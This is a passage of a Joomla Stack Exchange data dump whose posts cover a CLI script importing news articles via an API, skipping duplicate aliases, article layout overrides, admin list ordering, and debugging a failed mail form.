  <row Id="31911" PostTypeId="2" ParentId="31878" CreationDate="2022-02-04T03:48:53.467" Score="1" Body="&lt;p&gt;Here is the final working code courtesy of @mickmackusa. It took the addition of &lt;code&gt;$app = JFactory::getApplication( 'site' );&lt;/code&gt; to fix the &lt;strong&gt;Failed to start application&lt;/strong&gt; error in the command line.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * A command line cron job to bulk import JSON data into Joomla articles&#xA; */&#xA;use Joomla\CMS\Factory;&#xA;&#xA;define('_JEXEC', 1);&#xA;&#xA;// Load system defines&#xA;if (file_exists(dirname(__DIR__) . '/defines.php')) {&#xA;  require_once dirname(__DIR__) . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES')) {&#xA;  define('JPATH_BASE', dirname(__DIR__));&#xA;  require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&#xA;require_once JPATH_LIBRARIES . '/import.legacy.php';&#xA;require_once JPATH_LIBRARIES . '/cms.php';&#xA;&#xA;$app = JFactory::getApplication( 'site' );&#xA;&#xA;class BulkArticles extends JApplicationCli {&#xA;  public function doExecute(): void {&#xA;    $this-&amp;gt;out(JText::_('Start'));&#xA;&#xA;    // Fetch the JSON data and Run the insertArticle bulk data import to articles function&#xA;    $curlOpts = [&#xA;      CURLOPT_URL =&amp;gt; 'https://api.dtn.com/publishing/news/articles?categoryId=16%2C17%2C18&amp;amp;limit=2&amp;amp;maxAge=30&amp;amp;apikey=placeholder',&#xA;      CURLOPT_RETURNTRANSFER =&amp;gt; true,&#xA;      CURLOPT_ENCODING =&amp;gt; '',&#xA;      CURLOPT_MAXREDIRS =&amp;gt; 10,&#xA;      CURLOPT_TIMEOUT =&amp;gt; 0,&#xA;      CURLOPT_FOLLOWLOCATION =&amp;gt; true,&#xA;      CURLOPT_HTTP_VERSION =&amp;gt; CURL_HTTP_VERSION_1_1,&#xA;      CURLOPT_CUSTOMREQUEST =&amp;gt; 'GET',&#xA;    ];&#xA;    try {&#xA;      $fetchedArticles = $this-&amp;gt;curlToObject($curlOpts);&#xA;      if ($fetchedArticles) {&#xA;        $this-&amp;gt;out(JText::_('Fetched Articles: ' . count($fetchedArticles)));&#xA;      }&#xA;      $insertedIds = $this-&amp;gt;insertArticles($fetchedArticles);&#xA;      if ($insertedIds) {&#xA;        $this-&amp;gt;out(JText::_('Inserted IDs: ' . implode(', ', $insertedIds)));&#xA;      }&#xA;    } catch (exception $e) {&#xA;      $this-&amp;gt;out(JText::_($e-&amp;gt;getMessage()));&#xA;    }&#xA;    $this-&amp;gt;out(JText::_('Complete'));&#xA;  }&#xA;&#xA;  /**&#xA;   * @throws Exception&#xA;   */&#xA;  private function curlToObject(array $curlOpts): array {&#xA;    $ch = curl_init();&#xA;    curl_setopt_array($ch, $curlOpts);&#xA;    $result = curl_exec($ch);&#xA;    $error = curl_error($ch); // Get the last error&#xA;    curl_close($ch);&#xA;    if ($error) {&#xA;      throw new Exception($error);&#xA;    }&#xA;    return json_decode($result);&#xA;  }&#xA;&#xA;  /**&#xA;   * @throws Exception&#xA;   */&#xA;  private function insertArticles(array $articles): array {&#xA;    require_once JPATH_ADMINISTRATOR . '/components/com_content/models/article.php';&#xA;    $articleModel = new ContentModelArticle([]);&#xA;&#xA;    foreach ($articles as $article) {&#xA;      $articleData = [&#xA;        'id' =&amp;gt; 0,&#xA;        'catid' =&amp;gt; 8,&#xA;        'title' =&amp;gt; ucwords(strtolower($article-&amp;gt;title)),&#xA;        'alias' =&amp;gt; JFilterOutput::stringURLSafe($article-&amp;gt;title),&#xA;        'introtext' =&amp;gt; strip_tags($article-&amp;gt;storySummary),&#xA;        'fulltext' =&amp;gt; strip_tags($article-&amp;gt;content),&#xA;        'state' =&amp;gt; 1,&#xA;        'access' =&amp;gt; 2,&#xA;        'created_by' =&amp;gt; 332,&#xA;        'language' =&amp;gt; $article-&amp;gt;language,&#xA;        'rules' =&amp;gt; [&#xA;          'core.edit.delete' =&amp;gt; [],&#xA;          'core.edit.edit' =&amp;gt; [],&#xA;          'core.edit.state' =&amp;gt; []&#xA;        ],&#xA;      ];&#xA;&#xA;      if (!$articleModel-&amp;gt;save($articleData)) {&#xA;        throw new Exception($articleModel-&amp;gt;getError());&#xA;      } else {&#xA;        $newIds[] = $articleModel-&amp;gt;getItem()-&amp;gt;id;&#xA;      }&#xA;    }&#xA;    return $newIds ?? [];&#xA;  }&#xA;}&#xA;JApplicationCli::getInstance('BulkArticles')-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8253" LastActivityDate="2022-02-04T03:48:53.467" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31912" PostTypeId="1" AcceptedAnswerId="31914" CreationDate="2022-02-04T10:06:16.970" Score="2" ViewCount="333" Body="&lt;p&gt;I added a field type &amp;quot;sql&amp;quot; to show a list of options in the Article Options in Joomla 4. But I need to add a field like this with a search box inside to looking for one of the voices typing part of the options (because the options are many).&lt;/p&gt;&#xA;&lt;p&gt;So, I need something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CNaxe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CNaxe.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I noticed that in Joomla 3 someone used &amp;quot;formbehavior.chosen&amp;quot; to do this, but this function is applied to every list in the Article Options, and I don't want it. I want this behavior, this search box in a list, only for a specific list.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way in Joomla 4 to do this in a simple way? Can I just set an attribute in the field element of the XML file to do this? Thank you :)&lt;/p&gt;&#xA;" OwnerUserId="16086" LastActivityDate="2023-11-13T18:11:17.810" Title="Add a field (Sql or List) in article options with a search bar inside in Joomla 4" Tags="|joomla-4.x|joomla-4|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31913" PostTypeId="2" ParentId="31869" CreationDate="2022-02-04T11:57:12.213" Score="1" Body="&lt;p&gt;I solved it by getting the context from the fields model and using it in the sidebar entries. Custom fields and fieldgroups for every table:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Helper\ContentHelper;&#xA;use Joomla\CMS\Component\ComponentHelper;&#xA;use Joomla\CMS\MVC\Model\BaseDatabaseModel;&#xA;&#xA;BaseDatabaseModel::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_fields/models', 'FieldsModel');&#xA;&#xA;class MycompHelper extends ContentHelper&#xA;{&#xA;    public static $extension = 'my_comp';&#xA;&#xA;    public static function addSubmenu($vName)&#xA;    {&#xA;        $model = BaseDatabaseModel::getInstance('Fields', 'FieldsModel');&#xA;        $context = $model-&amp;gt;getState('filter.context');&#xA;&#xA;        if (ComponentHelper::isEnabled('com_fields')) {&#xA;            JHtmlSidebar::addEntry(&#xA;                Text::_('JGLOBAL_FIELDS'),&#xA;                'index.php?option=com_fields&amp;amp;context='. $context,&#xA;                $vName == 'fields.fields'&#xA;            );&#xA;            JHtmlSidebar::addEntry(&#xA;                Text::_('JGLOBAL_FIELD_GROUPS'),&#xA;                'index.php?option=com_fields&amp;amp;view=groups&amp;amp;context='. $context,&#xA;                $vName == 'fields.groups'&#xA;            );&#xA;        }&#xA;    }&#xA;&#xA;    public static function getContexts()&#xA;    {&#xA;        Factory::getLanguage()-&amp;gt;load('my_comp', JPATH_ADMINISTRATOR);&#xA;&#xA;        $contexts = array(&#xA;            'my_comp.object'    =&amp;gt; Text::_('OBJECT'),&#xA;            'my_comp.customer' =&amp;gt; Text::_('CUSTOMER')&#xA;        );&#xA;&#xA;        return $contexts;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2022-02-04T11:57:12.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31914" PostTypeId="2" ParentId="31912" CreationDate="2022-02-05T11:42:49.120" Score="1" Body="&lt;p&gt;In J4 you can use &lt;code&gt;joomla.form.field.list-fancy-select&lt;/code&gt; layout for list fields. To use in XML form, add &lt;code&gt;layout&lt;/code&gt; attribute to the field:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;layout=&amp;quot;joomla.form.field.list-fancy-select&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-02-05T11:42:49.120" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31917" PostTypeId="1" CreationDate="2022-02-06T16:59:11.147" Score="1" ViewCount="187" Body="&lt;p&gt;&lt;strong&gt;Joomla 3.7(?) to 3.10.5 Legacy router issue fix&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, our site articles' urls needed the category id to be removed (only, not the article id, as removing  both causes a 404).&lt;/p&gt;&#xA;&lt;p&gt;Here is the solution that worked for me, on Joomla 3.10.5, but it might be the same from 3.7 up (If not fixed in 4.0).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Legacy router&lt;/strong&gt; - path: &lt;a href=&quot;/@www/components/com_content/helpers/legacyrouter.php&quot;&gt;@www/components/com_content/helpers/legacyrouter.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hacking the legacy router, and deactivate appending the category id to the segments array by commenting out &lt;strong&gt;line 199&lt;/strong&gt; in the &lt;strong&gt;legacy router&lt;/strong&gt; and replacing it like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;//if (!$advanced &amp;amp;&amp;amp; count($array))&#xA;if (false)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Tried these solutions&lt;/strong&gt;&#xA;Defaulting &lt;code&gt;$advanced&lt;/code&gt; to 1 and more, and other solutions in these links:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://vincentping.com/en/remove-category-article-id-from-url-in-joomla-3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://vincentping.com/en/remove-category-article-id-from-url-in-joomla-3.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/26168517/get-rid-of-id-category-and-article-from-url-joomla-3-3-3-4-3-5&quot;&gt;https://stackoverflow.com/questions/26168517/get-rid-of-id-category-and-article-from-url-joomla-3-3-3-4-3-5&lt;/a&gt;&#xA;... did not work for me:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You can see the result here: &lt;a href=&quot;https://new.ac-news.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://new.ac-news.org&lt;/a&gt; &lt;em&gt;(under construction)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;As hacking the legacy router was a last resort not recommended solution:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Was there a better way to do this&lt;/strong&gt;?&lt;/li&gt;&#xA;&lt;li&gt;Should I provide my &lt;code&gt;.htaccess&lt;/code&gt; code and the list of plugins I used to try and fix this properly?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Thank you&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="16092" LastEditorUserId="16092" LastEditDate="2022-02-08T16:27:34.617" LastActivityDate="2022-02-08T16:27:34.617" Title="Removing the Category ID from article Url" Tags="|joomla-3.x|router|hack|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31918" PostTypeId="1" AcceptedAnswerId="31919" CreationDate="2022-02-07T19:51:33.753" Score="1" ViewCount="23" Body="&lt;p&gt;I am needing to compare the generated articles aliases of items imported from an external news API against those that are already stored in the &lt;code&gt;com_content&lt;/code&gt; database to ensure that duplicates are ignored and only new articles are created.&lt;/p&gt;&#xA;&lt;p&gt;The code is being executed in the &lt;code&gt;cli&lt;/code&gt; directory using the following functioning code. Imported news items are successfully stored as articles, but duplicate aliases causes the script to abort.&lt;/p&gt;&#xA;&lt;p&gt;I have placed an if conditional at the bottom of the &lt;code&gt;insertArticles&lt;/code&gt; function, but this code is not working. Either the placement or the implementation of the code is incorrect.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function doExecute(): void {&#xA;  $db = JFactory::getDbo();&#xA;  $query = $db-&amp;gt;getQuery(true);&#xA;  $query&#xA;    -&amp;gt;select(array('a.title', 'a.alias'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__content', 'a'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('a.catid') . &amp;quot; = &amp;quot; . $db-&amp;gt;quote('8'));&#xA;  $db-&amp;gt;setQuery($query);&#xA;  $results = $db-&amp;gt;loadObjectList();&#xA;&#xA;  // Fetch the JSON data and Run the insertArticle bulk data import to articles function&#xA;  $curlOpts = [&#xA;    CURLOPT_URL =&amp;gt; 'https://api.dtn.com/publishing/news/articles?categoryId=16%2C17%2C18&amp;amp;limit=2&amp;amp;maxAge=30&amp;amp;apikey=placeholder',&#xA;    CURLOPT_RETURNTRANSFER =&amp;gt; true,&#xA;    CURLOPT_ENCODING =&amp;gt; '',&#xA;    CURLOPT_MAXREDIRS =&amp;gt; 10,&#xA;    CURLOPT_TIMEOUT =&amp;gt; 0,&#xA;    CURLOPT_FOLLOWLOCATION =&amp;gt; true,&#xA;    CURLOPT_HTTP_VERSION =&amp;gt; CURL_HTTP_VERSION_1_1,&#xA;    CURLOPT_CUSTOMREQUEST =&amp;gt; 'GET',&#xA;  ];&#xA;  try {&#xA;    $fetchedArticles = $this-&amp;gt;curlToObject($curlOpts);&#xA;    if ($fetchedArticles) {&#xA;      $this-&amp;gt;out(JText::_('Fetched Articles: ' . count($fetchedArticles)));&#xA;    }&#xA;    $insertedIds = $this-&amp;gt;insertArticles($fetchedArticles);&#xA;    if ($insertedIds) {&#xA;      $this-&amp;gt;out(JText::_('Inserted IDs: ' . implode(', ', $insertedIds)));&#xA;    }&#xA;  } catch (exception $e) {&#xA;    $this-&amp;gt;out(JText::_($e-&amp;gt;getMessage()));&#xA;  }&#xA;}&#xA;&#xA;private function curlToObject(array $curlOpts): array {&#xA;  $ch = curl_init();&#xA;  curl_setopt_array($ch, $curlOpts);&#xA;  $result = curl_exec($ch);&#xA;  $error = curl_error($ch); // Get the last error&#xA;  curl_close($ch);&#xA;  if ($error) {&#xA;    throw new Exception($error);&#xA;  }&#xA;  return json_decode($result);&#xA;}&#xA;&#xA;private function insertArticles(array $articles): array {&#xA;  require_once JPATH_ADMINISTRATOR . '/components/com_content/models/article.php';&#xA;  $articleModel = new ContentModelArticle([]);&#xA;&#xA;  foreach ($articles as $article) {&#xA;    $articleData = [&#xA;      'id' =&amp;gt; 0,&#xA;      'catid' =&amp;gt; 8,&#xA;      'title' =&amp;gt; ucwords(strtolower($article-&amp;gt;title)),&#xA;      'alias' =&amp;gt; JFilterOutput::stringURLSafe($article-&amp;gt;title),&#xA;      'introtext' =&amp;gt; strip_tags($article-&amp;gt;storySummary),&#xA;      'fulltext' =&amp;gt; strip_tags($article-&amp;gt;content),&#xA;      'state' =&amp;gt; 1,&#xA;      'access' =&amp;gt; 2,&#xA;      'created_by' =&amp;gt; 332,&#xA;      'language' =&amp;gt; $article-&amp;gt;language,&#xA;      'rules' =&amp;gt; [&#xA;        'core.edit.delete' =&amp;gt; [],&#xA;        'core.edit.edit' =&amp;gt; [],&#xA;        'core.edit.state' =&amp;gt; []&#xA;      ],&#xA;    ];&#xA;&#xA;    if (!$articleModel-&amp;gt;save($articleData)) {&#xA;      throw new Exception($articleModel-&amp;gt;getError());&#xA;    } else {&#xA;      // If $result-&amp;gt;alias matches $article-&amp;gt;alias, skip saving of that article to prevent duplicate alias error&#xA;      foreach($results as $result) {&#xA;        if ($result['alias'] != JFilterOutput::stringURLSafe($article-&amp;gt;title)) {&#xA;          $newIds[] = $articleModel-&amp;gt;getItem()-&amp;gt;id;&#xA;        }&#xA;      }&#xA;    }&#xA;  }&#xA;  return $newIds ?? [];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8253" LastActivityDate="2022-02-07T22:21:55.733" Title="Omit previously imported articles by comparing existing articles aliases with generated aliases" Tags="|articles|database|alias|cli|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="31919" PostTypeId="2" ParentId="31918" CreationDate="2022-02-07T22:21:55.733" Score="2" Body="&lt;p&gt;You will need to move your query into your &lt;code&gt;insertArticles()&lt;/code&gt; method scope so that &lt;code&gt;$results&lt;/code&gt; is available as well as move your filtration before the &lt;code&gt;save()&lt;/code&gt; call is executed.&lt;/p&gt;&#xA;&lt;p&gt;I will propose creating a separate private method for this filtration to keep the processes responsibilities separated.  Making a single trip to the database will help with performance as well as generating a lookup array.  A lookup array leverages array keys to check for existence and this is always the most performant way of checking in PHP.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;private function insertArticles(array $articles): array {&#xA;    require_once JPATH_ADMINISTRATOR . '/components/com_content/models/article.php';&#xA;    $articleModel = new ContentModelArticle([]);&#xA;&#xA;    foreach ($this-&amp;gt;removeDuplicateAliases($articles) as $article) {&#xA;# filter here^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^&#xA;        $articleData = [&#xA;            'id' =&amp;gt; 0,&#xA;            'catid' =&amp;gt; 8,&#xA;            'title' =&amp;gt; ucwords(strtolower($article-&amp;gt;title)),&#xA;            'alias' =&amp;gt; JFilterOutput::stringURLSafe($article-&amp;gt;title),&#xA;            'introtext' =&amp;gt; strip_tags($article-&amp;gt;storySummary),&#xA;            'fulltext' =&amp;gt; strip_tags($article-&amp;gt;content),&#xA;            'state' =&amp;gt; 1,&#xA;            'access' =&amp;gt; 2,&#xA;            'created_by' =&amp;gt; 332,&#xA;            'language' =&amp;gt; $article-&amp;gt;language,&#xA;            'rules' =&amp;gt; [&#xA;                'core.edit.delete' =&amp;gt; [],&#xA;                'core.edit.edit' =&amp;gt; [],&#xA;                'core.edit.state' =&amp;gt; []&#xA;            ],&#xA;        ];&#xA;&#xA;        if (!$articleModel-&amp;gt;save($articleData)) {&#xA;            throw new Exception($articleModel-&amp;gt;getError());&#xA;        } else {&#xA;            $newIds[] = $articleModel-&amp;gt;getItem()-&amp;gt;id;&#xA;        }&#xA;    }&#xA;    return $newIds ?? [];&#xA;}&#xA;&#xA;private function removeDuplicateAliases(array $articles): array&#xA;{&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query&#xA;        -&amp;gt;select('a.alias')&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('#__content', 'a'))&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('a.catid') . &amp;quot; = &amp;quot; . $db-&amp;gt;quote('8'));&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $aliasLookup = array_flip($db-&amp;gt;loadColumn());&#xA;&#xA;    foreach ($articles as $i =&amp;gt; $article) {&#xA;        if (isset($aliasLookup[JFilterOutput::stringURLSafe($article-&amp;gt;title)])) {&#xA;            unset($articles[$i]);&#xA;        }&#xA;    }&#xA;    return $articles;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2022-02-07T22:21:55.733" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31921" PostTypeId="1" CreationDate="2022-02-09T10:40:33.637" Score="1" ViewCount="97" Body="&lt;p&gt;I'm starting to worry about updating my Joomla! 3 to Joomla! 4 (4.0.6 at the time of posting this).&lt;/p&gt;&#xA;&lt;p&gt;In Joomla!, 3 I used a lot the functionality that allows to create article layout overrides by duplicating and renaming the files located in &lt;code&gt;components/com_content/views/article/tmpl&lt;/code&gt; to the html folder of my custom themes (often created from the &lt;a href=&quot;https://github.com/Bloggerschmidt/Blank-Bootstrap-Edition&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bl4nk Blogger Schmidt template based on Bootstrap 4&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Then, by adding beside copied and renamed files, the updated xml file, the personalized layout becomes available from the component menu Article.&#xA;See paragraph n°7 of the J!3 doc which has been my reference for a long time: &lt;code&gt;https://docs.joomla.org/J3.x:Layout_...ive_Menu_Items&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried to reproduce this method in Joomla! 4, but if I can select article override in the Article component menu (the reference appears well in the list as for example &lt;code&gt;COM_CONTENT_ARTICLE_VIEW_HERO_TITLE&lt;/code&gt;), this override does not seem to be taken into account in the frontend. The default article layout still seems to be used.&lt;/p&gt;&#xA;&lt;p&gt;Can I still keep working this way in Joomla! 4?&lt;/p&gt;&#xA;" OwnerUserId="12438" LastEditorUserId="12352" LastEditDate="2022-02-09T23:48:22.447" LastActivityDate="2022-02-09T23:48:22.447" Title="Article layout override in J!4" Tags="|component|articles|template-override|joomla-4.x|upgrade|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31922" PostTypeId="1" AcceptedAnswerId="32099" CreationDate="2022-02-09T10:48:33.923" Score="1" ViewCount="287" Body="&lt;p&gt;I need to change the default ordering of the articles list in the administrator Articles page. To do this I probably would have to edit the populateState() method in administrator/components/com_content/src/Model/ArticlesModel.php but I'd really like to do this change by overriding...&lt;/p&gt;&#xA;&lt;p&gt;Does anyone know a way to change the default sorting of the articles table using an override? I want the default sorting to be by 'modified date' and not by 'id' as it currently is.&lt;/p&gt;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;It was simpler than I thought. It was not necessary to override the model (although Starky's answer on how to do so remains very useful), but I solved the problem doing an override of the com_content in the administrator template. In the file &lt;em&gt;administrator/templates/atum/html/com_content/articles/default.php&lt;/em&gt; I changed this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/* // Original code&#xA;elseif (strpos($listOrder, 'modified') !== false)&#xA;{&#xA;    $orderingColumn = 'modified';&#xA;}&#xA;else&#xA;{&#xA;    $orderingColumn = 'created';&#xA;}&#xA;*/&#xA;&#xA;//My new code&#xA;elseif (strpos($listOrder, 'created') !== false)&#xA;{&#xA;    $orderingColumn = 'created';&#xA;}&#xA;else&#xA;{&#xA;    $orderingColumn = 'modified';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16086" LastEditorUserId="16086" LastEditDate="2022-04-22T10:37:18.413" LastActivityDate="2023-09-11T06:39:24.987" Title="Change the default articles list ordering overriding the model" Tags="|articles|administrator|overrides|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31923" PostTypeId="1" AcceptedAnswerId="31929" CreationDate="2022-02-09T17:01:51.087" Score="1" ViewCount="156" Body="&lt;h2&gt;Attention!&lt;/h2&gt;&#xA;&lt;p&gt;While searching for a solution I have found that the hosting service blocked  mails, I'm not sure this is a valid question anymore, don't reply untile further notice.&lt;/p&gt;&#xA;&lt;h3&gt;The issue&lt;/h3&gt;&#xA;&lt;p&gt;Quoting from an old question of mine:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I have a form in my Joomla! site. Once completed, the form should send an e-mail but only if some conditions have been met.&lt;/p&gt;&#xA;&lt;p&gt;Not having been able to use standard, commercially available mailers while also checking those conditions, I am using jQuery.ajax to POST the content of the form to a custom PHP page that uses Factory::getMailer to actually send the e-mail.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Maybe it's convoluted, but it works.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Well, not anymore - and I have not touched anything:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Last time I made any changes to the site (including Joomla updates) was in December.&lt;/li&gt;&#xA;&lt;li&gt;To my knowledge, Joomla! uses PHPmailer, whose last changelog entry is from November.&lt;/li&gt;&#xA;&lt;li&gt;The PHP file was still working properly 7 days ago (02/02/2022).&lt;/li&gt;&#xA;&lt;li&gt;The PHP file was first reported giving an error on 07/02/2022.&lt;/li&gt;&#xA;&lt;li&gt;My IT manager didn't recently introduce any firewall rules that might block e-mails from my site.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Testing and debugging&lt;/h3&gt;&#xA;&lt;p&gt;After some testing, I am positive that the ajax call works properly (it outputs the expected payload) and that the PHP receives it (I have temporarily modified the PHP to echo the querystring instead of trying to send the e-mail and it does so correctly).&lt;/p&gt;&#xA;&lt;p&gt;The problem, therefore, lies somewhere in the php file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;//_JEXEC must be 1 or require_once requests will fail because of their &amp;quot;_JEXEC or die&amp;quot;&#xA;define('_JEXEC', 1);&#xA;&#xA;//Then I need to require some Joomla! files where getMailer is defined&#xA;define('JPATH_BASE', __DIR__);&#xA;require_once (JPATH_BASE.'/includes/defines.php');&#xA;require_once ('includes/framework.php');&#xA;&#xA;try {&#xA;    //fetching variables from querystring&#xA;    $name=$_POST['name'];&#xA;    $body=$_POST['body'];&#xA;    $from=$_POST['from'];&#xA;    //invoke mailer&#xA;    $mail = \Joomla\CMS\Factory::getMailer();&#xA;    $mail-&amp;gt;setSender('example@example.com');&#xA;    $mail-&amp;gt;addRecipient('example@example.com');&#xA;    $mail-&amp;gt;setFrom($from,$name); # who is it?&#xA;    $mail-&amp;gt;addReplyTo($from,$name); # who do I reply to?&#xA;    $mail-&amp;gt;setSubject('E-mail from Firefighter\'s form');&#xA;    $mail-&amp;gt;setBody($body);&#xA;    $mail-&amp;gt;ClearCCs();&#xA;    $mail-&amp;gt;ClearBCCs();&#xA;    $mail-&amp;gt;ClearAttachments();&#xA;    $mail-&amp;gt;ClearCustomHeaders();&#xA;    $mail-&amp;gt;Send();&#xA;    echo &amp;quot;Mail sent&amp;quot;;&#xA;    exit;&#xA;}&#xA;catch (Exception $e) {&#xA;    echo $e-&amp;gt;getMessage();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;No matter the input (which is validated and encoded with encodeURIcomponent in the js), the try/catch structure catches the &lt;strong&gt;&amp;quot;Failed to start application&amp;quot;&lt;/strong&gt; exception.&lt;/p&gt;&#xA;&lt;p&gt;Commenting out &lt;code&gt;$mail-&amp;gt;Send();&lt;/code&gt; and nothing else echoes &amp;quot;Mail sent&amp;quot;, as expected (of course, the mail is &lt;em&gt;not&lt;/em&gt; sent)&lt;/p&gt;&#xA;&lt;p&gt;I think this means that the mailer is instantiated correctly, or it would give some exception as soon as I try adding a recipient, instead it only fails way later.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Note:&lt;/strong&gt; from now on, echo results with this line commented out will be labeled &amp;quot;try echo&amp;quot; and echo results with the line causing an exception will be labeled &amp;quot;catch echo&amp;quot;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Following suggestions by &lt;a href=&quot;https://joomla.stackexchange.com/users/12352/mickmackusa&quot;&gt;mickmackusa&lt;/a&gt; (who linked me some resources in the comments) I tried debugging by adding the following just before the try/catch structure...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ini_set('display_errors', 1);&#xA;ini_set('display_startup_errors', 1);&#xA;error_reporting(E_ALL);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;...and by echoing &lt;code&gt;!$mail-&amp;gt;isError();&lt;/code&gt; in both the try and the catch, which gives me the following results:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Try echo = 1&lt;/li&gt;&#xA;&lt;li&gt;Catch echo = nothing&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Adding &lt;code&gt;$mail-&amp;gt;isHtml(true);&lt;/code&gt; changes nothing at all.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Adding &lt;code&gt;$mail-&amp;gt;SMTPDebug = 2;&lt;/code&gt; (or 3) gives the following results:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Catch echo = Could not istantiate mail function.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;It looks like the PHP installation is not configured to call the &lt;code&gt;mail()&lt;/code&gt; function correctly.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I have tried seeing if other people in forums had my same problems but all I found was the idea to check the mail sending parameters in Joomla!'s Global Configuration page.&lt;/p&gt;&#xA;&lt;p&gt;I don't know if it's related to my problem (after all, I have not changed those settings in the last few weeks) but here are the settings, translated back from my language:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;E-mail sending: yes&#xA;Disable user e-mail sending: no&#xA;Email from: example@example.com&#xA;Sender name: Firefighter's company's page&#xA;Reply to e-mail:&#xA;Reply to name:&#xA;E-mail function: PHP mail&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Notably, sending a test e-mail fails with the following message:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Could not instantiate mail 